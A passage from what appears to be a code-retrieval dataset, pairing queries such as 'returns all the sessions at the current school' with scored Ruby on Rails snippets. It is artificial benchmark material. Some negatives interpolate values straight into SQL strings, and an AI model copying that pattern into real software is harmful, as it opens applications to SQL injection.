"docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" } ]
d54cac78080005ff6baa790cc70ce529
returns all the sessions at the current school
[ { "docid": "8291c4827c46fc915d960ceabe1de221", "score": "0.8054499", "text": "def all_sessions\n @the_sessions = []\n teachers = Teacher.where(school_id: current_teacher.school_id)\n teachers.each do |the_teacher|\n some_sessions = Session.where( session_teacher: the_teacher)\n @the_sessions << some_sessions \n end\n return @the_sessions\n end", "title": "" } ]
[ { "docid": "1779aa6020f615a5985ff6335eebcf1f", "score": "0.80677307", "text": "def get_sessions_to_be_used_by_school(school)\n sessions = []\n if school[\"sessions\"].nil? or school[\"sessions\"].size == 0\n parent = get_parent_for_school(school)\n while !parent.nil? and sessions.size == 0\n if !parent[\"sessions\"].nil? and parent[\"sessions\"].size > 0\n sessions = parent[\"sessions\"]\n else\n parent = get_parent_for_local_education_agency(parent)\n end\n end\n else\n # school has published its own sessions --> use those\n sessions = school[\"sessions\"]\n # please note: right now, sessions of LEAs are stored on schools\n # -> there is no way to distinguish between a session published by the LEA or a school that is using its own\n # -> this will be mitigated in the future by writing sessions as they come into existence (in add_time method)\n # -> for now, school[\"sessions\"] is used, but this does not imply that the school has actually published its own sessions\n end\n sessions\n end", "title": "" }, { "docid": "ae3c207ab634d577cdeed05fd6d77b88", "score": "0.66919625", "text": "def index\n @student_sessions = StudentSession.all\n @sessions = Session.all\n end", "title": "" }, { "docid": "1ecd17572329ccccda733fa22f32d233", "score": "0.6669177", "text": "def show\n\n @school_students = @school.students.order(:name => :asc)\n @school_rooms = @school.rooms\n @school_periods = @school.periods.order(:start_at => :asc)\n if params[:day]\n @day = params[:day].to_date\n else\n @day = Date.today\n end\n @day_of_week = Time.now.to_date.wday\n @todays_class_sessions = @school.class_sessions.where(:day => @day)\n\n #--ALLOW FOR A NEW CLASS SESSION\n @class_session = ClassSession.new\n @class_session.school = @school\n\n end", "title": "" }, { "docid": "23c32b0ca0889fe2a1427036c4b2673c", "score": "0.6664885", "text": "def get_sessions\n\t\tsessions = Session.get_week(self.user_id, self.start_date)\n\t\tget_nice_array(sessions)\n\tend", "title": "" }, { "docid": "64432a997d75fed0aeae9b1b3481c57b", "score": "0.6524708", "text": "def show\n @room_students = @room.students\n @recent_class_sessions = @room.class_sessions.where(\"day < ?\", Date.today).order(\"day DESC\").limit(2).reverse\n @upcoming_class_sessions = @room.class_sessions.where(\"day > ?\", Date.today).order(\"day DESC\").limit(5)\n @todays_class_session = @room.class_sessions.where(\"day = ?\", Date.today)\n end", "title": "" }, { "docid": "581bbe39169f3d09cf0ed856aed286ae", "score": "0.6520835", "text": "def index\n @programme_sessions = ProgrammeSession.all\n end", "title": "" }, { "docid": "64cf438f8742d303660d4efdd754f09e", "score": "0.6385864", "text": "def current_school\n if session[:school_id]\n @current_school ||= School.find_by(id: session[:school_id])\n end\n end", "title": "" }, { "docid": "9e8719ce79f845c0459ed3ff90bbf613", "score": "0.6325295", "text": "def sessions\n @sessions.each_key.to_a\n end", "title": "" }, { "docid": "1d0a2df89502fd00fc5b0d5ba6065fe0", "score": "0.6322553", "text": "def index\n @sessions = current_user.fitness_sessions\n end", "title": "" }, { "docid": "df394601784d82d957cb7398ee6ce88c", "score": "0.6215011", "text": "def show\n @course = Course.find(params[:id])\n @studysessions = @course.study_sessions\n @myStudySessions = StudySession.where(\"host_id = '#{current_user.id}' AND course_name = '#{@course.name}'\")\n @allstudysessions = StudySession.where(\"(is_private is NULL OR is_private is FALSE) AND course_name = '#{@course.name}'\") - @myStudySessions\n @classmates = @course.getClassmates\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end", "title": "" }, { "docid": "37ed8dbcb8c007a90fdc169c13f08aa4", "score": "0.6210051", "text": "def listSessionsOfGroup(groupID)\n call :listSessionsOfGroup, :groupID => groupID\n end", "title": "" }, { "docid": "e0e4e17c4e6f77acdb4be486c4ceabf5", "score": "0.62055147", "text": "def index\n if admin_user\n @classrooms = Classroom.where(school_id: admin_user)\n else\n @classrooms = Classroom.where(user_id: current_user)\n end\n end", "title": "" }, { "docid": "a4055e90c3e4698601ec83cb209e7c73", "score": "0.61867964", "text": "def sessions\n PokerSession.find(:all)\n end", "title": "" }, { "docid": "cfe4337d8bfe17e9ccbecee7bf156712", "score": "0.6176466", "text": "def home\n @teacher = current_teacher\n @school = School.find( current_teacher.school_id)\n @first_login = params[:first_login] != nil\n @first_home = params[:first_home] != nil\n @view_all = params[:view_all] != nil\n @my_students = Student.where(id: Session.where(session_teacher: @teacher.id).group('session_student').order('count(*)').select('session_student').limit(8))\n @all_students = Student.where(school_id: current_teacher.school_id).order( 'full_name ASC')\n end", "title": "" }, { "docid": "ea38d8143eb7959317d17363925c7296", "score": "0.6164796", "text": "def list_students_by(year=Date.today.to_s[0,4])\n\t\t#pesquisar por ano e depois pedir os alunos\n\n\t\tclassroom = Classroom.find(:first, :conditions => \"year='#{year}' AND name='#{self.name}'\" )\t\t\n\t\treturn classroom.students\n\tend", "title": "" }, { "docid": "0846c0e98153a5f60c1d85a1509a13a7", "score": "0.61577505", "text": "def index\n @class_sessions = ClassSession.all\n end", "title": "" }, { "docid": "0846c0e98153a5f60c1d85a1509a13a7", "score": "0.6157594", "text": "def index\n @class_sessions = ClassSession.all\n end", "title": "" }, { "docid": "2cc9b6b364078a7a4eef6c8835562889", "score": "0.61330515", "text": "def sessions\n return @sessions\n end", "title": "" }, { "docid": "1540fd507d89cd5f74b8ab0e5cabed91", "score": "0.6130943", "text": "def index\n @sessions = Session.all\n end", "title": "" }, { "docid": "1540fd507d89cd5f74b8ab0e5cabed91", "score": "0.6130943", "text": "def index\n @sessions = Session.all\n end", "title": "" }, { "docid": "1540fd507d89cd5f74b8ab0e5cabed91", "score": "0.6130943", "text": "def index\n @sessions = Session.all\n end", "title": "" }, { "docid": "1540fd507d89cd5f74b8ab0e5cabed91", "score": "0.6130943", "text": "def index\n @sessions = Session.all\n end", "title": "" }, { "docid": "756cc3ab5e70dcbd390c127ba41e42a4", "score": "0.6122598", "text": "def index\n @user_sessions = UserSession.all\n end", "title": "" }, { "docid": "988186a0d6d65b87d10468c09698c484", "score": "0.61117375", "text": "def sessions!\n @sessions = search_sessions(xml_doc!)\n end", "title": "" }, { "docid": "4e1decf2e0db8cd7d852a17603b0bf69", "score": "0.61083525", "text": "def index\n @sevone_sessions = SevoneSession.all\n end", "title": "" }, { "docid": "21dfb5af5a2be22edd02dbe86fe4d40f", "score": "0.60963017", "text": "def sessions\n @sessions\n end", "title": "" }, { "docid": "5d7abbeafc09a786d3a469e0199aae36", "score": "0.60912746", "text": "def index\n\t\t@class_sessions = ClassSession.all\n\tend", "title": "" }, { "docid": "a0d6a289e9d0fc0f04a9446fb8c7470a", "score": "0.60740757", "text": "def index\n if params.key?('showAll') && current_user.admin?\n @user_site_sessions = UserSiteSession.select('user_site_sessions.*, users.name as user_name, sites.name as venue_name').joins(:user,:site).find_by_all_quickest()\n else \n @user_site_sessions = UserSiteSession.select('user_site_sessions.*, users.name as user_name, sites.name as venue_name').joins(:user, :site).find_by_user(current_user)\n end\n end", "title": "" }, { "docid": "f3c1c9fc7bced921247d1993502619b5", "score": "0.6073914", "text": "def index\n @subject_sessions = SubjectSession.all\n end", "title": "" }, { "docid": "946ba04c9daae4d8ec752c9125ecac25", "score": "0.6060616", "text": "def all_sessions\n self.test_sessions\n end", "title": "" }, { "docid": "de22fefcc4af336f2ca99f65724ffe51", "score": "0.6058139", "text": "def students\n @courses = Course.where(\"teacher_id=?\",session[:user].teacher_id)\n student_ids = Array.new\n @courses.each{ |c|\n student_ids.push(c.courseStudents)\n }\n student_ids.each{ |array|\n array.each{ |student|\n @students.push(student)\n }\n }\n @students.uniq!\n end", "title": "" }, { "docid": "ed025136081012c7a1d16cef3d03bc64", "score": "0.6053132", "text": "def index\n @pairing_sessions = PairingSession.all\n end", "title": "" }, { "docid": "770b688d12d5172b3ea6335871c9e08e", "score": "0.60381055", "text": "def current_room_sessionids \n result = []\n peeps = simperson.simplace.simpeople\n peeps.each do |aperson|\n result << aperson.simcharacter.simplayer.sessionid if aperson.simcharacter.simplayer.online == true\n end\n result\n end", "title": "" }, { "docid": "52d003c99bfc7875adf9123bfb5f11ed", "score": "0.6026614", "text": "def index\n @user_in_schools = UserInSchool.all\n end", "title": "" }, { "docid": "976f2f870444c429449b696d905fe230", "score": "0.6018009", "text": "def currentStudents\n @users = User.all\n end", "title": "" }, { "docid": "802ac3301fe275f8699ce26929f157b8", "score": "0.60147506", "text": "def index\n @class_rooms = ClassRoom.where(user_id: current_user.id).pluck(:id)\n if params[:is_student].present?\n @class_rooms = current_user.class_rooms.pluck(:id)\n end\n\n if current_user.role == \"groups\"\n @class_rooms = current_user.group.class_room_id\n end\n\n if params[:class_room_id].present?\n @study_cases = StudyCase.where(class_room_id: params[:class_room_id]).order(created_at: :desc).page params[:page]\n else\n @study_cases = StudyCase.where(\"study_cases.class_room_id in (?)\", @class_rooms).order(created_at: :desc).page params[:page]\n end\n end", "title": "" }, { "docid": "8e449603b80330ff5cefd0a7b23240cd", "score": "0.600797", "text": "def school\n @school = School.find(params[:id])\n\n\tyear = params[:date][:year]\n\tgrade = params[:grade_name]\n\t\n\tdefault_params = {\n\t\t:date_year => year,\n\t\t:grade_name => grade,\n\t\t:school_id => @school.id\n\t}\n\t\n\t@classroom = Classroom.new(default_params)\n\t@staff = Staff.new(default_params)\n\t\n\t@classrooms = @school.classrooms.find_all_by_date_year_and_grade_name(year, grade)\n\t@staff_members = @school.teachers.find_all_by_date_year_and_grade_name(year, grade)\n end", "title": "" }, { "docid": "dd7fd8ce07f0c90793ec53961c2a473f", "score": "0.6001078", "text": "def students\n Rollcall::Student.find_all_by_school_id schools\n end", "title": "" }, { "docid": "588c45a6dd5dfad419b52b2918f02b34", "score": "0.5999062", "text": "def index\n @all_confirmed_participants = current_user.confirmed_participants_of_all_sessions\n # If sessions must be filtered, use the passed params for filtering\n # display all running sessions otherwise, upcoming, past or unconfirmed, respectively.\n if params.count > 0\n @soccers_upcoming = current_user.sport_sessions_filtered(params, true, 'Soccer').select { |s| s.is_upcoming }\n @soccers_past = current_user.sport_sessions_filtered(params, true, 'Soccer').select { |s| s.is_past }\n @invitations = current_user.sport_sessions_filtered(params, false, 'Soccer')\n else\n soccers = current_user.sport_sessions_confirmed('Soccer')\n @soccers_upcoming = soccers.select { |s| s.is_upcoming }\n @soccers_past = soccers.select { |s| s.is_past }\n @invitations = current_user.sport_sessions_unconfirmed('Soccer')\n end\n end", "title": "" }, { "docid": "b793b13854f70a82d4d5bcc731a43807", "score": "0.5997415", "text": "def sessions\n @sessions ||= search_sessions(xml_doc)\n end", "title": "" }, { "docid": "eab510ba8e6ae439e36367693d9570ab", "score": "0.597371", "text": "def index\n @courses = Course.all\n @current_semester = Semester.find_by_active(1)\n if @courses.present?\n @current_semester_courses = @current_semester.courses\n end\n @check_user = current_user.admin\n @semesters = Semester.all\n end", "title": "" }, { "docid": "59c5ff0de58324d7f3bdea5bd972472b", "score": "0.5929364", "text": "def myschedule\n\n # Check if logged-in student before loading page. If not, go to login page.\n if current_student.nil?\n redirect_to new_student_session_path\n else\n\n # Show all selected courses in current semeseter's schedule\n @schedule = current_student.schedules.first\n @temp_courses = []\n if !@schedule.course_schedules.find_by(registered: false).nil?\n @schedule.course_schedules.where(registered: false).each do |course_schedule| \n @temp_courses << Course.find(course_schedule.course_id)\n end\n end\n\n # Show all registered courses in current semeseter's schedule\n @registered_courses = []\n if !@schedule.course_schedules.find_by(registered: true).nil?\n @schedule.course_schedules.where(registered: true).each do |course_schedule|\n @registered_courses << Course.find(course_schedule.course_id)\n end\n end\n end\n end", "title": "" }, { "docid": "6d78d4e441f2e42a70df1dc3bf833421", "score": "0.5916618", "text": "def classrooms_for_school(school)\n classrooms.order(:name).select{|c| c.school == school}\n end", "title": "" }, { "docid": "da5a6b069dd89479c1cb563fa0be7f4a", "score": "0.5910867", "text": "def sessions\n @@session_set ||= ActiveRecord::SessionStore::Session.all.select{|s| s.data.has_key?(\"user_credentials_id\")}\n @@session_set.select{|s| s.data[\"user_credentials_id\"] == self.id}\n end", "title": "" }, { "docid": "0965a13bfa28acbb05fcb84511138332", "score": "0.59000266", "text": "def index\n @meetings = Meeting.for_school(@_current_school).paginate(page: params[:page], per_page: 50)\n end", "title": "" }, { "docid": "a402852b2cc52454f95d4e343140a120", "score": "0.5898462", "text": "def index\n @cms_schools = Cms::School.all\n end", "title": "" }, { "docid": "da8887a759165b7d5b9301b7086537a2", "score": "0.589231", "text": "def index\n @student = Student.find(session[:user_id])\n @problems = @student.active_problems\n end", "title": "" }, { "docid": "69f330db60b2896955f24bb550af7c58", "score": "0.58878756", "text": "def userIndex\n @user_sessions = current_user.sessions\n end", "title": "" }, { "docid": "7cbdc95444bad591692f6d66d5aa99f7", "score": "0.5877357", "text": "def sessionList\n if (\n params.has_key?(:experiment_id) == false || params[:experiment_id].empty? ||\n (@experiment = UteExperiment.where(:experiment_code => params[:experiment_id], :is_active => true).first) == nil\n ) \n respond_to do |format|\n format.html { render text: 'Unauthorized', :status => :unauthorized }\n format.json { \n render :json => [], :status => :unauthorized \n }\n end\n return\n end\n\n @sessionlist = @experiment.ute_ex_sessions.where(:is_active => true).pluck(:session_code)\n #[ \n # UteExSession.where(:'ute_experiment.experiment_code' => params[:experiment_code], :is_active => true).pluck(:session_code)\n #].collect { |aoc| aoc.to_a}.flatten\n\n respond_to do |format|\n format.html { render text: 'Session list: <br/>' + { 'sessions' => @sessionlist }.to_json }\n format.json { \n render json: { 'sessions' => @sessionlist }.to_json \n }\n end\n end", "title": "" }, { "docid": "384d62b603d403f0774bb0df79356bdc", "score": "0.5826817", "text": "def index\n @my_school = MySchool.find(params[:my_school_id])\n @school_classes = @my_school.school_classes\n end", "title": "" }, { "docid": "8dfd1073296458c39c9e5d9035148ef8", "score": "0.58189815", "text": "def courses\n @courses = Course.where(\"teacher_id=?\",session[:user].teacher_id)\n end", "title": "" }, { "docid": "b5e6e9b526e2d38e422ada643717f276", "score": "0.58023274", "text": "def get_all_user_sessions(user_uid,start_date,user_request_id)\n # PostgresLacticSessions.get_by_uid(user_uid,start_date,user_request_id)\n get_pg_by_uid(user_uid,start_date,user_request_id)\n end", "title": "" }, { "docid": "66d2830a9733ca6ca628bd7a76d4aba0", "score": "0.58005124", "text": "def get_class_schools\n ret=[]\n self.teachings.to_a.each do |teaching|\n ret<< teaching.teaching_class_school\n end\n #puts \"========================== teacher.get_class_schools: #{ret.count}\"\n ret\n end", "title": "" }, { "docid": "b7e5482040a2256850d436aa947b68e5", "score": "0.57998395", "text": "def schoolteams\n self.teams.where(\"school_id = ?\",self.school).all\n end", "title": "" }, { "docid": "c1432bf1cfb1112c7c96a8ae01baf6dd", "score": "0.5797165", "text": "def index\n @students = Student.by_registration_time\n \n @nsbe_students = Student.get_nsbe.by_registration_time\n @shpe_students = Student.get_shpe.by_registration_time\n end", "title": "" }, { "docid": "95cd3c6d2f45bf7d3fc59f2f58986a9d", "score": "0.5794399", "text": "def index\n @courses = Course.all\n @student = User.find(session[:user_id])\n @courses_enrolled = @student.courses\n end", "title": "" }, { "docid": "0766111cf6ab9910302eab1e3658881f", "score": "0.57912403", "text": "def index\n @user = User.find(session[:user_id])\n @schools = @user.schools\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @schools }\n end\n end", "title": "" }, { "docid": "72d6daf8106d81e898cd4dd05da2b47f", "score": "0.57886773", "text": "def index\n @session_times = SessionTime.all\n end", "title": "" }, { "docid": "73612c2663aa9b7866950c2f3086cbaf", "score": "0.5782953", "text": "def school_list\n @schools.to_a\n end", "title": "" }, { "docid": "655bffc8a565955c3f1aa334d6796264", "score": "0.5782298", "text": "def show\n school_id = @student.school_id\n @course_selection = []\n @assigned_school = School.find(school_id)\n course_ids = @student.course_ids\n course_ids.each do |id|\n selection_unit = Course.find(id)\n @course_selection << selection_unit\n end\n end", "title": "" }, { "docid": "e65511d4dc311c157a3db05493f5edce", "score": "0.57817143", "text": "def list_subjects\r\n #TODO only list subjects from my own schools \r\n #because then people can still it \r\n school = School.find(params[:nid]) rescue render_return\r\n render_return if !logged_in_user.see_course?(school)\r\n render_p 'course_display/course_selection',{'caller'=>params[:caller],'school'=>school}\r\n end", "title": "" }, { "docid": "eb6b4d2b66ac5986d74a6116b2d32247", "score": "0.5760376", "text": "def index\n return unless restrict_to_hosts\n\n @sessions = Session.where(event_id: @event.id)\n end", "title": "" }, { "docid": "25e6c17bfb27ab1e5f0d41df0ee6df90", "score": "0.5759599", "text": "def user_schools\n @user_schools ||= School.where(account_name: enabled_account_names)\n end", "title": "" }, { "docid": "c1d5ad8ef34d9da73947ededf6b5eea9", "score": "0.5752563", "text": "def students \n sk = Sektion.where(:teacher_id => self.id).map(&:id)\n sids = StudentRoster.where(:sektion_id => sk).map(&:student_id).uniq\n return Student.where(:id => sids)\n end", "title": "" }, { "docid": "981cd4f813a8e9ddf4bb5a031746f122", "score": "0.5740447", "text": "def users_sections\n unless session[:mySections]\n session[:mySections] = []\n end\n session[:mySections]\n end", "title": "" }, { "docid": "9b7e2212479fb2f6245212dbbbe00872", "score": "0.57401097", "text": "def index\n @bookings = Booking.all\n # Bookings where the current user is the expert\n @as_expert = Booking.where(expert: current_user)\n # Bookings where the current user is the client\n @as_client = Booking.where(client: current_user)\n\n # All session that the current user is a part of\n @sessions = @as_expert | @as_client\n end", "title": "" }, { "docid": "128c81877edf647080a3b4bc1eb2d6c7", "score": "0.5733214", "text": "def index\n @workout_sessions = WorkoutSession.find_all_by_user_id(current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workout_sessions }\n end\n end", "title": "" }, { "docid": "6f9dee276641eae193124429f5d592ee", "score": "0.5731", "text": "def schools\n Rollcall::School.for_user(self).order(:display_name)\n end", "title": "" }, { "docid": "a8178e2dc433a27f09ee95cb60d56214", "score": "0.5725555", "text": "def index\n @lift_sessions = LiftSession.all\n end", "title": "" }, { "docid": "9165af2502c7366bf00d7625b57fcb3f", "score": "0.572035", "text": "def courses\n Course.all.select { |course_inst| course_inst.student == self }\n end", "title": "" }, { "docid": "0c35d43450411803a65801d6c5d3c08b", "score": "0.57165664", "text": "def index\n if current_user.has_cached_role?(:workshops_admin) || current_user.has_cached_role?(:admin)\n if params[:q].blank?\n @training_sessions = TrainingSession.order(start_date: :desc).includes(:course, :class_location).page params[:page]\n else\n # TODO: we need to move this `import` call to an initializer or something similar\n # TrainingSession.import force: true\n @training_sessions = TrainingSession.search(params[:q]).page(params[:page]).records\n end\n else\n if params[:q].blank?\n @training_sessions = TrainingSession\n .where(published: true)\n .order(start_date: :desc)\n .includes(:course, :class_location).page params[:page]\n else\n @training_sessions = TrainingSession.search(params[:q]).records.where(published: true).page(params[:page])\n end\n end\n end", "title": "" }, { "docid": "4813ba666b235ebf53187900d51958b5", "score": "0.56987584", "text": "def students\n course_enrollments.where(course_role: CourseRole.student).map(&:user)\n end", "title": "" }, { "docid": "197a1fa9287297b1f0dffdcdd98064c1", "score": "0.569727", "text": "def get_students\n StudentInCourse.where(:course_id => id).collect(&:user_id)\n end", "title": "" }, { "docid": "51db83965e8ba6d1e9d387989becf2ec", "score": "0.56810033", "text": "def sessions\n Thread.current[:sessions] ||= {}\n end", "title": "" }, { "docid": "f7981906748b42045e7c4484c5575977", "score": "0.5677225", "text": "def index\n @active_schools = School.active.alphabetical.all\n @inactive_schools = School.inactive.alphabetical.all\n end", "title": "" }, { "docid": "d583e18d590ea8cfbee5f78b8afc8d15", "score": "0.56624514", "text": "def index\n if @admin_school.present?\n @admin_classrooms = @admin_school.classrooms.all\n else\n @admin_classrooms = Admin::Classroom.all\n end\n end", "title": "" }, { "docid": "f30449d6c6c4a832f98addda2cfd55c5", "score": "0.56593", "text": "def update_schools_with_sessions(type)\n @log.info \"updating #{type} schools to include inherited sessions\"\n @world[type].each_index do |index|\n school = @world[type][index]\n @world[type][index][\"sessions\"] = get_sessions_to_be_used_by_school(school)\n end\n end", "title": "" }, { "docid": "34b613e064fdec07fcf94015c5eaa715", "score": "0.5654057", "text": "def index\r\n\r\n @username = session[:username]\r\n\r\n @this_staff_member = Certifier.where(:certifier_id => params[:certifier_id]).first\r\n\r\n @student_visits = StudentVisit.where(created_at: Time.parse(\"8:00am CST\")..Time.parse(\"11:30pm CST\")).where(:isSignedin => true).order(:created_at => :desc)\r\n #@student_visits_count = StudentVisit.where(created_at: Time.parse(\"8:00am\")..Time.parse(\"11:30pm\")).where(:isSignedin => true).count\r\n @current_staff = Certifier.where(:IsAvailable => true)\r\n\r\n @all_staff = Certifier.all\r\n end", "title": "" }, { "docid": "91aed20837176266f89494de3b55ed7e", "score": "0.5649894", "text": "def group_sessions\n\t\n\tend", "title": "" }, { "docid": "84a9051b452794147897eebe3b55fff6", "score": "0.5649285", "text": "def all_viewable_subjects\n Subject.current.where(site_id: all_viewable_sites.select(:id))\n end", "title": "" }, { "docid": "4b54662f4d722dd66a930bfd82018d5e", "score": "0.5634909", "text": "def index\n @student_current_user=StudentUser.find_by(id: session[:user_id])\n end", "title": "" }, { "docid": "0ef42464cac9deb04b749f778cc6d02d", "score": "0.563202", "text": "def index\n if current_user.has_role? :admin\n @teachings = Teaching.all\n else \n @lesson = Lesson.find(session[:lesson_id])\n @teachings = Teaching.where(lesson_id: session[:lesson_id])\n end\n end", "title": "" }, { "docid": "fae0dcc64edd865286ed6e4b33638d82", "score": "0.5610232", "text": "def index\n @schools = Admin::School.all\n end", "title": "" }, { "docid": "34ca14a72b517d1ccd2c937061dbfeb1", "score": "0.5608371", "text": "def list_production_schedules\n\n return if authorise_for_web('runs', 'view') == false\n\n if session[:runs_schedules]!= nil\n render_list_production_schedules\n return\n end\n\n list_query = \"ProductionSchedule.find_all_by_production_schedule_status_code('closed',\n\t\t\t\t :order => 'production_schedule_name')\"\n session[:query] = list_query\n session[:runs_schedules]= list_query\n render_list_production_schedules\n\n\n end", "title": "" }, { "docid": "2690638d716909ad2443cc256f3b079c", "score": "0.56079435", "text": "def index\n @enrollments = Enrollment.joins(:course, :student).select('enrollments.id, enrollments.course_id, courses.course_name, courses.semester, students.first_name, students.last_name, enrollments.student_id').reorder('last_name ASC')\n if (params.has_key?(:semester))\n if (params[:semester] != 'all')\n @enrollments = @enrollments.where(courses: { semester: params[:semester] })\n end\n end\n\n if current_student\n @enrollments = @enrollments.where(enrollments: { student_id: current_student.id })\n end\n end", "title": "" }, { "docid": "de4db6dc84a472accb7b430fbf9c62b8", "score": "0.55897194", "text": "def all_subjects\n Subject.current.where(site_id: all_editable_sites.select(:id))\n end", "title": "" }, { "docid": "a26344c3928ae8aac5f501c590201cfd", "score": "0.55880666", "text": "def get_students\n registrations.select{|r| !r.instructor}.map{|r| r.user}\n end", "title": "" }, { "docid": "73399687112012274e4158a6d8994246", "score": "0.55856526", "text": "def index\n @conference_sessions = if Date.today > Deadline.minisymposium_acceptance_end\n # Minisymposium.includes(:schedules, [organizers: :user]).accepted.order(:name)\n Minisymposium.accepted.includes([organizers: :user]).order(:number, :name)\n else\n []\n end\n end", "title": "" }, { "docid": "71f8a3de418f31f8cf1da479779dd033", "score": "0.5584868", "text": "def list_my_sessions(opts = {})\n data, _status_code, _headers = list_my_sessions_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "5f0ccf800ecac3678ab021f67252e284", "score": "0.55840224", "text": "def schools\n @schools ||= School.accessible_by(self)\n end", "title": "" }, { "docid": "76ef3f42e0c99754d6f7280e45519051", "score": "0.55839545", "text": "def sessions\n Thread.current[:sessions] ||= {}\n end", "title": "" }, { "docid": "bf0046bc77eb38928c7c6f460d8fd8e2", "score": "0.5582739", "text": "def timetable_for_class( school_class )\n Timetable.select{|t| t.school_class == school_class }.to_a\n end", "title": "" }, { "docid": "d0be97f0a2901d0944013bdb1df75518", "score": "0.55682343", "text": "def students\n self.course_person.all(:type => \"student\").persons\n end", "title": "" }, { "docid": "c1061bc3abf4337d7507d238c57b2b0c", "score": "0.5561702", "text": "def index\n @sessi = session[:logged]\t\n\tif ( @sessi == true )\n @consulting_rooms = ConsultingRoom.all\n\telse \t\n\tredirect_to \"/login\"\t\n\tend\n end", "title": "" }, { "docid": "3467247e9e4a0c0659108f6d507037f2", "score": "0.55561936", "text": "def index\n @course=current_user.teaching_courses if teacher_logged_in?\n @course=current_user.courses if student_logged_in?\n end", "title": "" }, { "docid": "e208dce408baf5ee54b7ca0d3da7511d", "score": "0.5555357", "text": "def session\n @@session ||= []\n if @@session[self.id].nil?\n session = GData::Client::Calendar.new\n token = session.clientlogin(username,password)\n @@session[self.id] = session\n end\n @@session[self.id]\n end", "title": "" }, { "docid": "703d13887e510e9c66da8786cd23d300", "score": "0.5553066", "text": "def find_sessions_from_child_district(ed_org_id)\n sessions = []\n child = @world[\"leas\"].detect {|lea| lea[\"parent\"] == ed_org_id}\n child[\"sessions\"]\n end", "title": "" }, { "docid": "1c29e90779a5b824ef348281ed155707", "score": "0.55508864", "text": "def index\n @csessions = Csession.all\n end", "title": "" }, { "docid": "d3414f9c1f424f250603d75b322ad9a8", "score": "0.5550854", "text": "def school_students(query={})\n self.simple_client.get(\"/api/v1/schools/my/students?#{query.to_query}\")\n end", "title": "" }, { "docid": "1fc4771c6d11de794aaf76aa29191891", "score": "0.5548841", "text": "def home\n @teacher = Teacher.find(params[:id])\n @top_students = Student.where(id: Session.where(session_teacher: @teacher.id).group('session_student').order('count(*)').select('session_student').limit(8))\n if params[:start_session]\n @session = Session.new\n @session.session_teacher = @teacher.id\n @session.session_student = params[:student_id]\n @session.start_time = Time.now.strftime(\"%H:%M:%S\")\n \n \n respond_to do |format|\n if @session.save\n format.html { redirect_to @session, notice: 'Session was successfully created.' }\n format.json { render :show, status: :created, location: @session }\n else\n format.html { render :new }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n elsif params[:analyze]\n # Currently unimplemented will direct to analysis page for the selected student\n end\n end", "title": "" } ]
6d8320d7a1fe550f9e23bc14ac1159fc
Public: Return all divs for this segment. Returns ActiveRecord::Relation.
[ { "docid": "3220e9685a1d0457756c281881764359", "score": "0.64797395", "text": "def divs\n Div.where(\"chromosome = ? and position between ? and ?\",\n chromosome, start, stop)\n .order(\"position ASC\")\n end", "title": "" } ]
[ { "docid": "52e99bef67313c8dfc6fb79d4db9b302", "score": "0.626987", "text": "def segments\n Management::Segment.all(self)\n end", "title": "" }, { "docid": "235d4bf1dcacc4e117792dad0a6ac565", "score": "0.60739934", "text": "def show_divs\r\n divs = Document.new(self).get_divs\r\n puts \"There are #{divs.length} divs\"\r\n index = 1\r\n divs.each do |l|\r\n puts \"div: name: #{l.name}\"\r\n puts \" id: #{l.id}\"\r\n puts \" class: #{l.className}\"\r\n puts \" index: #{index}\"\r\n index += 1\r\n end\r\n end", "title": "" }, { "docid": "f302934429887bfb03b4c14d5fd98dcf", "score": "0.5840721", "text": "def all\n segments_attrs = @connection.send_request('get_segments')['result']\n segments_attrs.map do |id, attrs|\n Segment.new(attrs.merge('id' => id))\n end\n end", "title": "" }, { "docid": "12b35cb1da65f17d77d3ca6e84fa8320", "score": "0.5509625", "text": "def division_ids(season)\n ids = Division.where(:season_id => season)\n @divs = Array.new\n ids.each do |p|\n @divs << p.id\n end\n end", "title": "" }, { "docid": "d3ec91a8872a251d3721b3bafec2b80d", "score": "0.5496934", "text": "def all_components()\n comps = self.components.map do |c|\n if c.is_a?(Eddy::Models::Loop::Base)\n c.all_contents()\n elsif c.is_a?(Eddy::Models::Segment)\n c\n else\n raise Eddy::Errors::RenderError\n end\n end\n return comps.flatten\n end", "title": "" }, { "docid": "936c312494b0b833496d6dfb68794c86", "score": "0.5451725", "text": "def get_divisions(search_params = {})\n xml = do_request('getDivisions', search_params)\n DivisionResult.load_from_xml xml\n end", "title": "" }, { "docid": "e5cedc7c060715bb7c1aba9616487bee", "score": "0.5436889", "text": "def all_contents()\n contents = self.content.flatten.map do |c|\n case c\n when Eddy::Models::Loop::Repeat then c.all_contents()\n when Eddy::Models::Loop::Base then c.all_contents()\n when Eddy::Models::Segment then c\n else raise Eddy::Errors::RenderError\n end\n end\n return contents.flatten\n end", "title": "" }, { "docid": "255dd983a81126868eef99b4ec4a0419", "score": "0.53925145", "text": "def index\n @dividas = Divida.all\n end", "title": "" }, { "docid": "ec592372595c50468cf75a98af93a32e", "score": "0.53650063", "text": "def index\n @div_tags = DivTag.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @div_tags }\n end\n end", "title": "" }, { "docid": "66989f56011625a23797d9b93f62d0e8", "score": "0.532663", "text": "def get_report_divisions()\n divisions = Division.where(company_id: self.id)\n\n return divisions\n end", "title": "" }, { "docid": "66989f56011625a23797d9b93f62d0e8", "score": "0.532663", "text": "def get_report_divisions()\n divisions = Division.where(company_id: self.id)\n\n return divisions\n end", "title": "" }, { "docid": "66989f56011625a23797d9b93f62d0e8", "score": "0.532663", "text": "def get_report_divisions()\n divisions = Division.where(company_id: self.id)\n\n return divisions\n end", "title": "" }, { "docid": "412472c8d496b2f934b16bbdfc0c2b45", "score": "0.51723206", "text": "def index\n @point_of_diversions = PointOfDiversion.all\n end", "title": "" }, { "docid": "63f7851baedb0fea83cfa422994dde71", "score": "0.51470476", "text": "def div_elements(identifier)\n platform.divs_for(identifier.clone)\n end", "title": "" }, { "docid": "c28965540e86ebf024184f09edf7bc6b", "score": "0.5125652", "text": "def get_children()\n return @space.get_children()\n end", "title": "" }, { "docid": 